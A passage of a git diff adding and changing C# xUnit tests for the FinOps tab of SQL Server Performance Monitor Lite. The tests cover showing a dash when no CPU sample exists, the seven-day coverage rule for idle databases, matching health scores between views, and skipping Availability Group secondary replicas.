+/// the three CPU figures then, and the card used to print 0.00%, 0.00% and 0% and to draw the database sizes chart as if current.
+/// The figures show a dash and the chart is hidden. Darling's Viewer has the same tab and the same tests.
+/// </summary>
+public sealed class FinOpsUtilizationNoCpuTests
+{
+    private static UtilizationEfficiencyRow Row(string provisioningStatus) => new()
+    {
+        ProvisioningStatus = provisioningStatus,
+        AvgCpuPct = 0m,
+        P95CpuPct = 0m,
+        MaxCpuPct = 0
+    };
+
+    [Fact]
+    public void NoCpuSample_ShowsDashesForEveryCpuFigure_NotZeros()
+    {
+        var row = Row("");
+
+        Assert.False(row.HasCpuSample);
+        Assert.Equal("-", row.AvgCpuText);
+        Assert.Equal("-", row.P95CpuText);
+        Assert.Equal("-", row.MaxCpuText);
+    }
+
+    [Fact]
+    public void ACpuSample_ShowsTheMeasuredFigures_EvenWhenTheyAreZero()
+    {
+        var row = Row("OVER_PROVISIONED");
+        row.AvgCpuPct = 12.5m;
+        row.P95CpuPct = 40m;
+        row.MaxCpuPct = 77;
+
+        Assert.Equal($"{12.5m:N2}%", row.AvgCpuText);
+        Assert.Equal($"{40m:N2}%", row.P95CpuText);
+        Assert.Equal("77%", row.MaxCpuText);
+
+        var idle = Row("OVER_PROVISIONED");
+        Assert.Equal($"{0m:N2}%", idle.AvgCpuText);
+        Assert.Equal("0%", idle.MaxCpuText);
+    }
+
+    [Theory]
+    [InlineData("", false)]
+    [InlineData("RIGHT_SIZED", true)]
+    [InlineData("NOT_APPLICABLE", true)]
+    public void TheSizesChart_IsShownOnlyWhenTheWindowHeldACpuSample(string status, bool shown) =>
+        Assert.Equal(shown, Row(status).ShowsDatabaseSizeChart);
+
+    [Fact]
+    public void TheTab_PaintsTheTextFromTheRow_EmptiesTheBars_AndHidesTheChart()
+    {
+        var tab = ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml.cs");
+
+        Assert.Contains("AvgCpuText.Text = data.AvgCpuText;", tab, StringComparison.Ordinal);
+        Assert.Contains("P95CpuText.Text = data.P95CpuText;", tab, StringComparison.Ordinal);
+        Assert.Contains("MaxCpuText.Text = data.MaxCpuText;", tab, StringComparison.Ordinal);
+        Assert.DoesNotContain("$\"{data.AvgCpuPct:N2}%\"", tab, StringComparison.Ordinal);
+        Assert.Contains("data.HasCpuSample ? (double)data.AvgCpuPct : 0", tab, StringComparison.Ordinal);
+        Assert.Contains("DbSizeChartGroup.Visibility = data is { ShowsDatabaseSizeChart: true }", tab, StringComparison.Ordinal);
+        Assert.Contains("x:Name=\"DbSizeChartGroup\"", ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml"), StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/FinOpsFleetReadParityTests.cs b/Lite.Tests/FinOpsFleetReadParityTests.cs
index 980402e9fe..3faad3c5b9 100644
--- a/Lite.Tests/FinOpsFleetReadParityTests.cs
+++ b/Lite.Tests/FinOpsFleetReadParityTests.cs
@@ -39,6 +39,17 @@ public void Dispose()
         try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } catch { }
     }
 
+    /// <summary>One query_stats sample per UTC day for the last <paramref name="days"/> days (today first), on a database no size snapshot lists, so the idle-coverage rule is met without making any listed database active.</summary>
+    private static void SeedQueryStatsCoverage(DuckDBConnection conn, int serverId, string serverName, DateTime now, ref long nextId, int days = 7)
+    {
+        /* A full-coverage seed (7 or more days) starts yesterday and reaches 8 days back: the oldest sample must be at least 7 days old and each complete day before today must hold one. A short seed (the gap case) starts now. */
+        var start = days >= 7 ? 1 : 0;
+        for (var d = start; d < start + (days >= 7 ? days + 1 : days); d++)
+            Exec(conn, @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
+                         VALUES ($1,$2,$3,$4,'DbElsewhere','0xE',1,10,20,1)", nextId--, now.AddDays(-d), serverId, serverName);
+    }
+
     private static void Exec(DuckDBConnection conn, string sql, params object[] vals)
     {
         using var cmd = conn.CreateCommand();
@@ -55,8 +66,8 @@ private static void Exec(DuckDBConnection conn, string sql, params object[] vals
     [Fact]
     public async Task TopResourceConsumers_KeepsEachGridsOwnFilter()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         const int serverId = 1;
         var now = DateTime.UtcNow;
@@ -112,8 +123,8 @@ public async Task TopResourceConsumers_KeepsEachGridsOwnFilter()
     [Fact]
     public async Task ServerMetrics_FleetStatement_CoversEveryServer_AndFlagsIdleDatabases()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         const int busyServerId = 10;
         const int emptyServerId = 20;
@@ -140,6 +151,7 @@ public async Task ServerMetrics_FleetStatement_CoversEveryServer_AndFlagsIdleDat
             Exec(conn, @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
                           delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
                          VALUES ($1,$2,$3,$4,'DbActive','0xA',10,1000,2000,100)", nextId--, now.AddDays(-1), busyServerId, "BUSY");
+            SeedQueryStatsCoverage(conn, busyServerId, "BUSY", now, ref nextId);
         }
 
         var svc = new LocalDataService(initializer);
@@ -160,6 +172,64 @@ public async Task ServerMetrics_FleetStatement_CoversEveryServer_AndFlagsIdleDat
         Assert.Null(empty.ProvisioningStatus); // No CPU sample in the window: no verdict, not OVER_PROVISIONED from zeros.
     }
 
+    /// <summary>
+    /// The fleet "Idle DBs" count follows the recommendation row's rule: a database is idle for 7 days only when query stats hold a
+    /// sample on each of the 7 complete UTC days before today AND the oldest sample is at least 7 days old. A store that was closed for
+    /// days (samples only today and yesterday) reads NULL (a dash), not a count of every database; so does one whose samples reach every
+    /// date but start only 6 days and a few minutes back; a covered server with nothing idle reads 0, not NULL, even with no sample yet
+    /// today.
+    /// </summary>
+    [Fact]
+    public async Task ServerMetrics_IdleDbCount_NeedsSevenDaysOfQueryStatsCoverage()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
+
+        const int gapServerId = 50;
+        const int busyServerId = 60;
+        const int youngServerId = 70;
+        var now = DateTime.UtcNow;
+        long nextId = -1;
+
+        using (var conn = new DuckDBConnection($"Data Source={_dbPath}"))
+        {
+            await conn.OpenAsync();
+            foreach (var (serverId, name) in new[] { (gapServerId, "GAP"), (busyServerId, "BUSYALL"), (youngServerId, "YOUNG") })
+            {
+                SeedServerProperties(conn, serverId, name, nextId--, now);
+                Exec(conn, @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id,
+                              file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
+                             VALUES ($1,$2,$3,$4,'DbOne',1,1,'ROWS','a.mdf','a.mdf',20480,8000)", nextId--, now, serverId, name);
+            }
+
+            // GAP: samples today and yesterday only (the app was closed before that), DbOne never ran in them.
+            SeedQueryStatsCoverage(conn, gapServerId, "GAP", now, ref nextId, days: 2);
+
+            // BUSYALL: the oldest sample is 8 days old and each of the 7 complete days before today holds one (none yet today), and DbOne
+            // is the database that ran, so nothing is idle.
+            for (var d = 1; d <= 8; d++)
+                Exec(conn, @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                              delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
+                             VALUES ($1,$2,$3,$4,'DbOne','0xB',5,10,20,1)", nextId--, now.AddDays(-d), busyServerId, "BUSYALL");
+
+            // YOUNG: a sample on each of the 7 dates from 7 days back to yesterday, but the first is at 23:59:30 of the 7th day back, so the
+            // oldest sample is not yet 7 days old (6 days and a few minutes at most times of day). Seven dates are covered; the history is not.
+            Exec(conn, @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
+                         VALUES ($1,$2,$3,$4,'DbOne','0xY',5,10,20,1)", nextId--, now.Date.AddDays(-7).AddHours(23).AddMinutes(59).AddSeconds(30), youngServerId, "YOUNG");
+            for (var d = 1; d <= 6; d++)
+                Exec(conn, @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                              delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
+                             VALUES ($1,$2,$3,$4,'DbOne','0xY',5,10,20,1)", nextId--, now.Date.AddDays(-d).AddHours(12), youngServerId, "YOUNG");
+        }
+
+        var metrics = await new LocalDataService(initializer).GetServerMetricsAsync();
+
+        Assert.Null(metrics[gapServerId].IdleDbCount);
+        Assert.Equal(0, metrics[busyServerId].IdleDbCount);
+        Assert.Null(metrics[youngServerId].IdleDbCount);
+    }
+
     /// <summary>
     /// The overlay must not depend on the <c>servers</c> table: Lite never inserts into it, so a read driven
     /// from it returned an empty dictionary on every real store and the Server Inventory never got its
@@ -171,8 +241,8 @@ public async Task ServerMetrics_FleetStatement_CoversEveryServer_AndFlagsIdleDat
     [Fact]
     public async Task ServerMetrics_AreReadWithNoServersRow_FromCollectedServerProperties()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         const int liveServerId = 30;
         const int removedServerId = 40;
@@ -191,6 +261,7 @@ public async Task ServerMetrics_AreReadWithNoServersRow_FromCollectedServerPrope
                 Exec(conn, @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id,
                               file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
                              VALUES ($1,$2,$3,$4,'DbOne',1,1,'ROWS','a.mdf','a.mdf',20480,8000)", nextId--, now, serverId, name);
+                SeedQueryStatsCoverage(conn, serverId, name, now, ref nextId);
             }
 
             using var count = conn.CreateCommand();
@@ -218,8 +289,8 @@ public async Task ServerMetrics_AreReadWithNoServersRow_FromCollectedServerPrope
     [Fact]
     public async Task ServerMetrics_ServerWithNoCpuSampleInTheWindow_GetsNoVerdict_ALowCpuServerStillGetsOverProvisioned()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         const int quietServerId = 50;
         const int noCpuServerId = 60;
@@ -269,8 +340,8 @@ public async Task ServerMetrics_ServerWithNoCpuSampleInTheWindow_GetsNoVerdict_A
     [Fact]
     public async Task UtilizationEfficiency_ServerWithNoCpuSampleInTheWindow_GetsNoVerdict_ALowCpuServerStillGetsOverProvisioned()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         const int quietServerId = 70;
         const int noCpuServerId = 80;
@@ -308,6 +379,61 @@ public async Task UtilizationEfficiency_ServerWithNoCpuSampleInTheWindow_GetsNoV
         Assert.Equal("", noCpu.ProvisioningStatus);
     }
 
+    /// <summary>
+    /// One server, one health score: the Server Inventory's Health column (the fleet read) and the Utilization tab's badge score the same server
+    /// from the same inputs. The inventory used to score the 24-hour average CPU against a fixed memory and storage term, so servers with
+    /// different buffer pools and free space all read the same number beside a Utilization score that differed.
+    /// </summary>
+    [Fact]
+    public async Task ServerMetrics_HealthScore_EqualsTheUtilizationScore_PerServer()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
+
+        var now = DateTime.UtcNow;
+        long nextId = -1;
+        // (id, name, cpu samples, physical MB, buffer pool MB, total MB, used MB)
+        var servers = new (int Id, string Name, int[] Cpu, int PhysMb, int BpMb, int TotalMb, int UsedMb)[]
+        {
+            (101, "HEALTHY", [10, 12, 14], 65536, 40000, 100000, 40000),
+            (102, "STRAINED", [60, 85, 95], 16384, 15800, 100000, 97000),
+        };
+
+        using (var conn = new DuckDBConnection($"Data Source={_dbPath}"))
+        {
+            await conn.OpenAsync();
+            foreach (var sv in servers)
+            {
+                SeedServerProperties(conn, sv.Id, sv.Name, nextId--, now);
+                foreach (var cpu in sv.Cpu)
+                    Exec(conn, @"INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization)
+                                 VALUES ($1,$2,$3,$4,$2,$5,1)", nextId--, now.AddHours(-1), sv.Id, sv.Name, cpu);
+                Exec(conn, @"INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name,
+                              total_physical_memory_mb, available_physical_memory_mb, target_server_memory_mb, total_server_memory_mb, buffer_pool_mb)
+                             VALUES ($1,$2,$3,$4,$5,1000,$5,$5,$6)", nextId--, now, sv.Id, sv.Name, sv.PhysMb, sv.BpMb);
+                Exec(conn, @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id,
+                              file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
+                             VALUES ($1,$2,$3,$4,'DbOne',1,1,'ROWS','a.mdf','a.mdf',$5,$6)", nextId--, now, sv.Id, sv.Name, sv.TotalMb, sv.UsedMb);
+            }
+        }
+
+        var svc = new LocalDataService(initializer);
+        var fleet = await svc.GetServerMetricsAsync();
+        var inventoryScores = new System.Collections.Generic.List<int?>();
+
+        foreach (var sv in servers)
+        {
+            var util = (await svc.GetUtilizationEfficiencyAsync(sv.Id))!;
+            var sizes = await svc.GetDatabaseSizeLatestAsync(sv.Id);
+            util.FreeSpacePct = FinOpsHealthCalculator.FreeSpacePct(DatabaseSizeRow.AllocatedTotalMb(sizes), DatabaseSizeRow.FreeTotalMb(sizes));
+
+            Assert.Equal(util.ComputeHealthScore(), fleet[sv.Id].HealthScore);
+            inventoryScores.Add(fleet[sv.Id].HealthScore);
+        }
+
+        Assert.NotEqual(inventoryScores[0], inventoryScores[1]);
+    }
+
     /// <summary>One collected <c>server_properties</c> row, which is what makes a server known to the fleet read.
     /// The NOT NULL edition and hardware columns are filled with values the read never looks at.</summary>
     private static void SeedServerProperties(DuckDBConnection conn, int serverId, string serverName, long collectionId, DateTime collectionTime) =>
diff --git a/Lite.Tests/FinOpsIdleCoverageAndInventoryScoreTests.cs b/Lite.Tests/FinOpsIdleCoverageAndInventoryScoreTests.cs
new file mode 100644
index 0000000000..43685bd48a
--- /dev/null
+++ b/Lite.Tests/FinOpsIdleCoverageAndInventoryScoreTests.cs
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// The Optimization tab's Idle Databases grid follows the recommendation row's rule: a database is idle for 7 days only when query
+/// stats hold a sample on each of the 7 complete UTC days before today AND the oldest sample is at least 7 days old. Without that coverage the grid is empty AND says why, instead of "No idle
+/// databases detected". (The Server Inventory "Idle DBs" count has its own read test in FinOpsFleetReadParityTests.)
+/// </summary>
+public sealed class FinOpsIdleDatabasesCoverageTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 5011;
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public FinOpsIdleDatabasesCoverageTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private async Task ExecAsync(string sql, params object[] vals)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        _seedConn ??= _duckDb.CreateConnection();
+        if (_seedConn.State != System.Data.ConnectionState.Open) await _seedConn.OpenAsync();
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in vals) cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedDatabaseAsync(string name) =>
+        await ExecAsync(@"
+INSERT INTO database_size_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id, file_id, file_type_desc,
+     file_name, physical_name, total_size_mb, used_size_mb)
+VALUES ($1, $2, $3, 'IdleSrv', $4, 7, 1, 'ROWS', $5, $5, 100, NULL)", _nextId++, DateTime.UtcNow, ServerId, name, name + ".mdf");
+
+    private async Task SeedQueryStatsDaysAsync(int days) => await SeedQueryStatsAtDaysBackAsync(Enumerable.Range(0, days).Select(d => (double)d).ToArray());
+
+    private async Task SeedQueryStatsAtAsync(DateTime timeUtc) =>
+        await ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+     delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
+VALUES ($1, $2, $3, 'IdleSrv', 'DbElsewhere', '0xE', 1, 10, 20, 1)", _nextId++, timeUtc, ServerId);
+
+    /// <summary>One sample per entry, that many days before now (a fraction is a part of a day).</summary>
+    private async Task SeedQueryStatsAtDaysBackAsync(params double[] daysBack)
+    {
+        foreach (var d in daysBack)
+            await ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+     delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads)
+VALUES ($1, $2, $3, 'IdleSrv', 'DbElsewhere', '0xE', 1, 10, 20, 1)", _nextId++, DateTime.UtcNow.AddDays(-d), ServerId);
+    }
+
+    [Fact]
+    public async Task TwoDaysOfQueryStats_HasNoCoverage_SoTheGridSaysWhyItIsEmpty()
+    {
+        await SeedDatabaseAsync("DbOne");
+        await SeedQueryStatsDaysAsync(2);
+
+        var svc = new LocalDataService(_duckDb);
+
+        Assert.False(await svc.HasQueryStatsCoverageAsync(ServerId));
+        Assert.NotEqual("No idle databases detected", LocalDataService.IdleDatabasesEmptyText(false));
+        Assert.Contains("7 days", LocalDataService.IdleDatabasesEmptyText(false), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task EightDaysBackThroughYesterday_HasCoverage_AndAnUnusedDatabaseIsIdle()
+    {
+        // The oldest sample is 8 days old and each of the 7 complete days before today holds one; nothing has arrived yet today.
+        await SeedDatabaseAsync("DbOne");
+        await SeedQueryStatsAtDaysBackAsync(1, 2, 3, 4, 5, 6, 7, 8);
+
+        var svc = new LocalDataService(_duckDb);
+
+        Assert.True(await svc.HasQueryStatsCoverageAsync(ServerId));
+        Assert.Equal("DbOne", Assert.Single(await svc.GetIdleDatabasesAsync(ServerId)).DatabaseName);
+        Assert.Equal("No idle databases detected", LocalDataService.IdleDatabasesEmptyText(true));
+    }
+
+    [Fact]
+    public async Task SixAndAHalfDaysSampledEveryDay_HasNoCoverage_BecauseTheOldestSampleIsNotSevenDaysOld()
+    {
+        await SeedDatabaseAsync("DbOne");
+        await SeedQueryStatsAtDaysBackAsync(0, 0.5, 1.5, 2.5, 3.5, 4.5, 5.5, 6.5);
+
+        Assert.False(await new LocalDataService(_duckDb).HasQueryStatsCoverageAsync(ServerId));
+    }
+
+    [Fact]
+    public async Task SevenAndAHalfDaysMissingOneCompleteDay_HasNoCoverage()
+    {
+        // Samples at noon 8, 7, 6, 5, 4, 2 and 1 days back: the oldest sample is older than 7 days, but 3 days back was never watched.
+        await SeedDatabaseAsync("DbOne");
+        foreach (var d in new[] { 8, 7, 6, 5, 4, 2, 1 })
+            await SeedQueryStatsAtAsync(DateTime.UtcNow.Date.AddDays(-d).AddHours(12));
+
+        Assert.False(await new LocalDataService(_duckDb).HasQueryStatsCoverageAsync(ServerId));
+    }
+
+    [Fact]
+    public async Task FullCoverageWithNoSampleYetToday_IsStillCovered()
+    {
+        // The state just after 00:00 UTC: every complete day from 7 days back to yesterday holds a sample, today none yet.
+        await SeedDatabaseAsync("DbOne");
+        foreach (var d in new[] { 8, 7, 6, 5, 4, 3, 2, 1 })
+            await SeedQueryStatsAtAsync(DateTime.UtcNow.Date.AddDays(-d).AddHours(12));
+
+        Assert.True(await new LocalDataService(_duckDb).HasQueryStatsCoverageAsync(ServerId));
+    }
+
+    [Fact]
+    public void TheTab_ChecksCoverageBeforeReadingTheGrid_AndSetsTheEmptyText()
+    {
+        var tab = ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml.cs");
+        var load = tab.IndexOf("Task LoadIdleDatabasesAsync(", StringComparison.Ordinal);
+        Assert.True(load >= 0);
+        var body = tab.Substring(load, 1600);
+
+        var coverage = body.IndexOf("HasQueryStatsCoverageAsync(serverId)", StringComparison.Ordinal);
+        var read = body.IndexOf("GetIdleDatabasesAsync(serverId)", StringComparison.Ordinal);
+        Assert.True(coverage >= 0 && read > coverage);
+        Assert.Contains("IdleDatabasesNoDataMessage.Text = LocalDataService.IdleDatabasesEmptyText(covered);", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheServerInventoryIdleCountAndHealthCells_ShowADashWhenThereIsNoValue()
+    {
+        var xaml = ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml");
+
+        Assert.Contains("Binding=\"{Binding IdleDbCount, TargetNullValue='-'}\"", xaml, StringComparison.Ordinal);
+        Assert.Contains("Binding=\"{Binding HealthScore, TargetNullValue='-'}\"", xaml, StringComparison.Ordinal);
+    }
+}
+
+/// <summary>
+/// The Server Inventory grid's health score is the Utilization tab's score for the same server: p95 CPU, buffer pool share and
+/// free space, through <see cref="FinOpsHealthCalculator.Score"/>. A server with no CPU sample has no score and the grid shows a dash.
+/// </summary>
+public sealed class FinOpsInventoryHealthScoreTests
+{
+    [Fact]
+    public void NoScore_ShowsTheNoScoreColorAndNote()
+    {
+        var row = new ServerPropertyRow { HealthScore = null };
+
+        Assert.Null(row.HealthScore);
+        Assert.Equal(FinOpsHealthCalculator.NoScoreColor, row.HealthScoreColor);
+        Assert.Equal(FinOpsHealthCalculator.NoInventoryScoreNote, row.HealthScoreNote);
+        // L5: the dash also shows for a server with no memory sample, so the note must not blame the CPU alone.
+        Assert.Contains("memory sample", row.HealthScoreNote, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AScore_IsInTheScoresOwnColor()
+    {
+        // p95 40% CPU -> 71; buffer pool 50% of RAM -> 100; 50% free -> 100: 71*0.4 + 100*0.3 + 100*0.3 = 88.
+        var score = FinOpsHealthCalculator.Score(true, 40m, 1000, 500, 50m);
+        var row = new ServerPropertyRow { HealthScore = score };
+
+        Assert.Equal(88, score);
+        Assert.Equal(FinOpsHealthCalculator.ScoreColor(88), row.HealthScoreColor);
+        Assert.Null(row.HealthScoreNote);
+    }
+
+    [Fact]
+    public void TheTab_NoLongerScoresTheInventoryFromDefaults()
+    {
+        var tab = ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml.cs");
+
+        Assert.DoesNotContain("InventoryScore(", tab, StringComparison.Ordinal);
+        Assert.DoesNotContain("var memScore = 80;", tab, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/FinOpsSecondaryReplicaTests.cs b/Lite.Tests/FinOpsSecondaryReplicaTests.cs
new file mode 100644
index 0000000000..3761ac15d3
--- /dev/null
+++ b/Lite.Tests/FinOpsSecondaryReplicaTests.cs
@@ -0,0 +1,162 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5558: the FinOps Recommendations sub-tab leaves the per-database findings of a database this node holds only as a
+/// secondary copy in an Availability Group to the primary. Idle databases are the rule the seeded store can drive end to
+/// end (the dev/test, TDE and compression rules read the monitored server live, so their filter is pinned on the helper
+/// they all call). The low IO latency rule keeps every database. A primary, stale snapshots and no snapshots skip nothing.
+/// </summary>
+public sealed class FinOpsSecondaryReplicaTests : IClassFixture<SharedDuckDbFixture>
+{
+    private static long s_id = -55_810_000;
+
+    private readonly DuckDbInitializer _duckDb;
+
+    public FinOpsSecondaryReplicaTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    private static string Idle(IEnumerable<RecommendationRow> rows) =>
+        rows.FirstOrDefault(r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase))?.Detail ?? "";
+
+    /// <summary>Seeds the node as the local replica of AG1 with the given role and the given databases in it, at <paramref name="at"/>.</summary>
+    private async Task SeedAgAsync(DateTime at, string localRole, params string[] databases)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        const string Replica = "INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)";
+        await ExecAsync(connection, Replica, Interlocked.Decrement(ref s_id), at, TestDataSeeder.TestServerId, "AG1", "NODE1", localRole, true);
+        await ExecAsync(connection, Replica, Interlocked.Decrement(ref s_id), at, TestDataSeeder.TestServerId, "AG1", "NODE2",
+            localRole == "SECONDARY" ? "PRIMARY" : "SECONDARY", false);
+        const string Db = "INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)";
+        foreach (var database in databases)
+            await ExecAsync(connection, Db, Interlocked.Decrement(ref s_id), at, TestDataSeeder.TestServerId, "AG1", database, "NODE1", true);
+    }
+
+    private static async Task ExecAsync(DuckDBConnection connection, string sql, params object[] values)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values) cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    private async Task<(List<RecommendationRow> Rows, string? Note)> RunAsync(Func<TestDataSeeder, Task> seed, Func<Task>? seedAg = null)
+    {
+        using var seeder = new TestDataSeeder(_duckDb);
+        await seed(seeder);
+        if (seedAg != null) await seedAg();
+        var result = await new LocalDataService(_duckDb).GetRecommendationsWithNoteAsync(TestDataSeeder.TestServerId, "", "", 10000m);
+        return (result.Rows, result.SkippedNote);
+    }
+
+    [Fact]
+    public async Task Baseline_WithNoAgData_BothIdleDatabasesAreListed_AndThereIsNoNote()
+    {
+        var (rows, note) = await RunAsync(s => s.SeedIdleDatabasesAsync());
+
+        var detail = Idle(rows);
+        Assert.Contains("OldReportsDB", detail, StringComparison.Ordinal);
+        Assert.Contains("ArchiveDB", detail, StringComparison.Ordinal);
+        Assert.Null(note);
+    }
+
+    [Fact]
+    public async Task ASecondaryCopy_IsDroppedFromTheIdleList_AndTheNoteSaysSo()
+    {
+        var (rows, note) = await RunAsync(s => s.SeedIdleDatabasesAsync(),
+            () => SeedAgAsync(DateTime.UtcNow.AddMinutes(-2), "SECONDARY", "OldReportsDB"));
+
+        var detail = Idle(rows);
+        Assert.DoesNotContain("OldReportsDB", detail, StringComparison.Ordinal);
+        Assert.Contains("ArchiveDB", detail, StringComparison.Ordinal);
+        var finding = Assert.Single(rows, r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase));
+        Assert.StartsWith("1 idle database(s)", finding.Finding, StringComparison.Ordinal);
+        Assert.Equal(AgReplicaScope.SkippedNote(1), note);
+    }
+
+    [Fact]
+    public async Task EveryIdleDatabaseASecondary_LeavesNoIdleFinding()
+    {
+        var (rows, note) = await RunAsync(s => s.SeedIdleDatabasesAsync(),
+            () => SeedAgAsync(DateTime.UtcNow.AddMinutes(-2), "SECONDARY", "OldReportsDB", "ArchiveDB"));
+
+        Assert.DoesNotContain(rows, r => r.Category == "Databases" && r.Finding.Contains("idle", StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(AgReplicaScope.SkippedNote(2), note);
+    }
+
+    [Fact]
+    public async Task OnThePrimary_EveryIdleDatabaseIsKept_AndThereIsNoNote()
+    {
+        var (rows, note) = await RunAsync(s => s.SeedIdleDatabasesAsync(),
+            () => SeedAgAsync(DateTime.UtcNow.AddMinutes(-2), "PRIMARY", "OldReportsDB", "ArchiveDB"));
+
+        var detail = Idle(rows);
+        Assert.Contains("OldReportsDB", detail, StringComparison.Ordinal);
+        Assert.Contains("ArchiveDB", detail, StringComparison.Ordinal);
+        Assert.Null(note);
+    }
+
+    [Fact]
+    public async Task StaleAgData_FailsOpen_AndSkipsNothing()
+    {
+        var (rows, note) = await RunAsync(s => s.SeedIdleDatabasesAsync(),
+            () => SeedAgAsync(DateTime.UtcNow.AddHours(-5), "SECONDARY", "OldReportsDB"));
+
+        Assert.Contains("OldReportsDB", Idle(rows), StringComparison.Ordinal);
+        Assert.Null(note);
+    }
+
+    [Fact]
+    public async Task ASecondaryCopy_StaysInTheLowIoLatencyList()
+    {
+        var (rows, note) = await RunAsync(s => s.SeedLowIoLatencyAsync(),
+            () => SeedAgAsync(DateTime.UtcNow.AddMinutes(-2), "SECONDARY", "UserDB"));
+
